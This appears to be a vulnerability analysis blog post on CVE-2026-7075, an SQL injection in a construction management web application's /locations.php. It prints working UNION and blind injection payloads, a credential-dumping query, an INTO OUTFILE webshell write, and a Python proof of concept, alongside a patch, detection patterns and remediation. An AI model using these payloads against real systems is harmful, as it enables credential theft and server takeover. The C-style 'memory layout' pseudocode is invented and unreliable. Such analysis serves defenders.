home intel cve-2026-7075-construction-management-sqli-rce
CVE Analysis 2026-04-27 · 8 min read

CVE-2026-7075: SQL Injection to RCE in itsourcecode Construction Management System

Unsanitized `address` parameter in `/locations.php` passes attacker input directly into a MySQL query, enabling UNION-based extraction and stacked-query RCE via INTO OUTFILE.

#sql-injection#remote-code-execution#php#construction-management#cross-platform
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7075 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7075Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7075 is a classic, unmitigated SQL injection in itsourcecode Construction Management System 1.0. The vulnerable endpoint is /locations.php, which accepts a user-supplied address parameter and interpolates it verbatim into a MySQL SELECT statement. No prepared statements, no escaping, no WAF. The attack is unauthenticated-or-low-privilege, fully remote, and the payload requires nothing beyond an HTTP request. CVSS 7.3 is arguably conservative given that stacked queries under a misconfigured MySQL user escalate directly to OS command execution via INTO OUTFILE or UDF abuse.

Root cause: The address parameter in /locations.php is concatenated directly into a MySQL query string with no parameterization, escaping, or input validation, allowing arbitrary SQL injection from a remote unauthenticated attacker.

Affected Component

File: locations.php — handles location record retrieval and display for construction project sites. The application is a PHP/MySQL stack, typical of itsourcecode projects: raw mysqli_query() calls assembled with string concatenation, no ORM, no PDO. The address field is submitted via GET or POST and fed into a WHERE clause filter.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable PHP logic based on the vulnerability class, affected parameter, and typical itsourcecode application patterns:


/*
 * locations.php — reconstructed pseudocode (PHP -> C-style for clarity)
 * Vulnerable function: fetch_locations_by_address()
 */

mysqli_result *fetch_locations_by_address(mysqli *db, char *address) {
    char query[1024];

    // BUG: address is taken directly from $_GET['address'] with no sanitization.
    // mysqli_real_escape_string() is never called. PDO with bound params is not used.
    // Attacker controls the entire trailing clause of this query.
    snprintf(query, sizeof(query),
        "SELECT id, name, address, project_id "
        "FROM tbl_locations "
        "WHERE address = '%s'",   // <-- attacker-controlled interpolation
        address
    );

    return mysqli_query(db, query);  // executes raw attacker-influenced SQL
}

// Caller in locations.php:
void handle_request(http_request *req) {
    char *addr = http_get_param(req, "address");  // no validation
    // BUG: addr is never sanitized before passing to fetch_locations_by_address()
    mysqli_result *res = fetch_locations_by_address(g_db, addr);
    render_table(res);
}

The snprintf into query[1024] is a secondary concern — the primary issue is semantic: the SQL engine receives and parses attacker-controlled tokens as SQL syntax, not data.

Exploitation Mechanics

Three distinct attack tiers exist depending on MySQL server configuration and the privilege level of the connecting DB user:


EXPLOIT CHAIN — TIER 1: UNION-Based Data Extraction (any privilege level)

1. Attacker sends GET /locations.php?address=' UNION SELECT 1,2,3,4-- -
   -> Determines column count (4 columns: id, name, address, project_id)

2. Confirm reflected columns:
   GET /locations.php?address=' UNION SELECT 1,@@version,3,4-- -
   -> MySQL version string appears in the rendered "address" column

3. Dump credential table:
   GET /locations.php?address=' UNION SELECT 1,username,password,4
       FROM tbl_users LIMIT 1-- -
   -> Admin hash extracted from response body

4. Crack or relay MD5/bcrypt hash offline -> admin panel access

EXPLOIT CHAIN — TIER 2: Blind Boolean Extraction (if output not reflected)

1. Baseline: GET /locations.php?address=valid_location
   -> HTTP 200, page has content

2. True condition: GET /locations.php?address=valid_location'
       AND SUBSTRING(password,1,1)='a'-- -
   -> If page renders normally: first char of password is 'a'

3. False condition: different/empty render confirms char mismatch

4. Automate with sqlmap or custom binary-search loop:
   for each position i, each char c:
       inject: AND ASCII(SUBSTRING((SELECT password FROM tbl_users
               WHERE username='admin'),{i},1))>{c}-- -
   -> Full hash recovered in ~700 requests (7 bits * 32 chars)

EXPLOIT CHAIN — TIER 3: RCE via INTO OUTFILE (FILE privilege required)

1. Confirm FILE privilege:
   ' UNION SELECT 1,user(),3,4-- -           -> check if user has FILE grant
   ' UNION SELECT 1,@@secure_file_priv,3,4-- -> confirm writable path

2. Write PHP webshell to web root:
   GET /locations.php?address=' UNION SELECT 1,
       '',3,4
       INTO OUTFILE '/var/www/html/shell.php'-- -

3. Trigger shell:
   GET /shell.php?cmd=id
   -> uid=33(www-data) gid=33(www-data)

4. Pivot: reverse shell, credential harvesting, lateral movement

# Minimal PoC — UNION column enumeration and version leak
import requests

TARGET = "http://target.local/locations.php"

def try_union(cols):
    cols_str = ",".join(str(i) for i in range(1, cols + 1))
    payload = f"' UNION SELECT {cols_str}-- -"
    r = requests.get(TARGET, params={"address": payload})
    # Heuristic: if page doesn't error, column count is likely correct
    return "error" not in r.text.lower() and r.status_code == 200

def leak_value(expr, col=2, total_cols=4):
    cols = [str(i) for i in range(1, total_cols + 1)]
    cols[col - 1] = expr
    payload = "' UNION SELECT " + ",".join(cols) + "-- -"
    r = requests.get(TARGET, params={"address": payload})
    return r.text  # parse reflected value from response

if __name__ == "__main__":
    for n in range(1, 8):
        if try_union(n):
            print(f"[+] Column count: {n}")
            print(f"[+] MySQL version: {leak_value('@@version', col=2, total_cols=n)}")
            print(f"[+] Current user:  {leak_value('user()', col=2, total_cols=n)}")
            print(f"[+] Data dir:      {leak_value('@@datadir', col=2, total_cols=n)}")
            break

Memory Layout

SQL injection doesn't corrupt heap memory directly, but the PHP runtime and MySQL client library maintain internal query buffers that reflect the injection's structural impact. The relevant layout for a stacked-query or INTO OUTFILE payload shows why buffer-size constraints don't save this application:


PHP STACK FRAME — handle_request() during malicious call:

  [ http_request *req          ] -> GET /locations.php?address=
  [ char *addr                 ] -> pointer into request param buffer
                                    contains: "' UNION SELECT ..."
                                    length: attacker-controlled (up to ~8KB in GET)

  [ query[1024]                ] <- snprintf target
    offset +0x000: "SELECT id, name, address, project_id "
    offset +0x025: "FROM tbl_locations WHERE address = '"
    offset +0x04A: [ATTACKER DATA BEGINS HERE]
    offset +0x3FF: snprintf truncates at 1023 bytes + null

  NOTE: snprintf truncation does NOT prevent injection —
  the SQL termination characters (', --, #) appear within
  the first 100 bytes of any practical payload.
  Truncation only limits OUTFILE payload length, not exploitability.

MYSQL CLIENT BUFFER — after mysqli_query():

  [ MYSQL_RES *result          ]
  [ MYSQL_ROW row[0]           ] -> returns attacker-controlled result set
                                    render_table() echoes column[1] into HTML
                                    -> reflected XSS bonus if not HTML-encoded

/*
 * Reconstructed tbl_users schema inferred from typical itsourcecode apps
 * Relevant to credential extraction via UNION injection
 */
struct tbl_users_row {
    /* +0x00 */ int      id;           // AUTO_INCREMENT primary key
    /* +0x04 */ char     username[64]; // plaintext username
    /* +0x44 */ char     password[64]; // MD5 or unsalted SHA1 hash
    /* +0x84 */ char     email[128];   // user email
    /* +0x104 */ int     role;         // 1=admin, 2=user — no enum enforcement
};

Patch Analysis

The correct fix is parameterized queries via PHP's PDO or mysqli prepared statements. The following diff shows what the vulnerable code should be replaced with:


// BEFORE (vulnerable) — locations.php fetch logic:
char query[1024];
snprintf(query, sizeof(query),
    "SELECT id, name, address, project_id "
    "FROM tbl_locations "
    "WHERE address = '%s'",
    address   // BUG: raw attacker input
);
result = mysqli_query(db, query);


// AFTER (patched) — using mysqli prepared statement:
mysqli_stmt *stmt = mysqli_prepare(db,
    "SELECT id, name, address, project_id "
    "FROM tbl_locations "
    "WHERE address = ?"   // parameterized placeholder
);
// address is bound as a string type — SQL engine never parses it as syntax
mysqli_stmt_bind_param(stmt, "s", address);
mysqli_stmt_execute(stmt);
result = mysqli_stmt_get_result(stmt);
// No attacker-controlled token ever reaches the SQL parser

// ALTERNATIVE (patched) — PDO with named parameters:
// $stmt = $pdo->prepare(
//     "SELECT id, name, address, project_id
//      FROM tbl_locations WHERE address = :address"
// );
// $stmt->execute([':address' => $_GET['address']]);
// -> address is treated as a literal value regardless of content

Secondary hardening — even with parameterization in place — requires revoking the FILE privilege from the web application's DB user and setting secure_file_priv to an empty or non-web-accessible path to eliminate the INTO OUTFILE RCE tier.

Detection and Indicators

The following patterns in web server access logs indicate active exploitation attempts against this endpoint:


# Nginx/Apache access log signatures — grep patterns for active scanning:

# UNION probe
/locations.php?address=%27%20UNION%20SELECT
/locations.php?address=' UNION SELECT

# Blind boolean
/locations.php?address=.*'%20AND%20.*--

# Time-based (if AND/UNION blocked):
/locations.php?address=.*SLEEP\([0-9]+\)
/locations.php?address=.*BENCHMARK\(

# INTO OUTFILE attempt:
/locations.php?address=.*INTO%20OUTFILE
/locations.php?address=.*INTO%20DUMPFILE

# sqlmap default user-agent (often present):
User-Agent: sqlmap/1.x

# Anomalous response-size spike on /locations.php (UNION reflecting data):
# Normal response: ~4KB | Injection response: variable / error page

MySQL general query log — indicators of compromise:

[timestamp] Query  SELECT id, name, address, project_id FROM tbl_locations
            WHERE address = '' UNION SELECT 1,@@version,3,4-- -

[timestamp] Query  SELECT id, name, address, project_id FROM tbl_locations
            WHERE address = '' UNION SELECT 1,username,password,4
            FROM tbl_users LIMIT 1-- -

[timestamp] Query  SELECT ... INTO OUTFILE '/var/www/html/shell.php'

Enable MySQL's general query log (general_log = ON, general_log_file = /var/log/mysql/general.log) in development/staging and parse it against the above patterns. In production, consider a MySQL audit plugin (MariaDB Audit Plugin, Percona Audit Log) to avoid the performance penalty of full general logging.

Remediation

Immediate (hours):

  • Replace all raw string concatenation in locations.php and every other PHP file in the application with PDO prepared statements or mysqli_stmt_bind_param().
  • Audit $_GET, $_POST, $_REQUEST, and $_COOKIE usage across the entire codebase — itsourcecode applications consistently apply the same pattern across all endpoints.

Short-term (days):

  • Revoke FILE, SUPER, and CREATE privileges from the web application DB user. The user should hold only SELECT, INSERT, UPDATE, DELETE on the application database.
  • Set secure_file_priv = /nonexistent in my.cnf to block INTO OUTFILE regardless of privilege.
  • Deploy a WAF rule blocking UNION SELECT, INTO OUTFILE, and SLEEP() patterns on /locations.php as a defense-in-depth layer — not a substitute for parameterization.

Long-term:

  • Migrate to a framework with ORM-level query building (Laravel Eloquent, Symfony Doctrine) to make raw SQL concatenation architecturally impossible.
  • Integrate static analysis (phpcs-security-audit, Semgrep PHP ruleset) into CI/CD to catch mysqli_query($db, "..." . $var) patterns at commit time.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →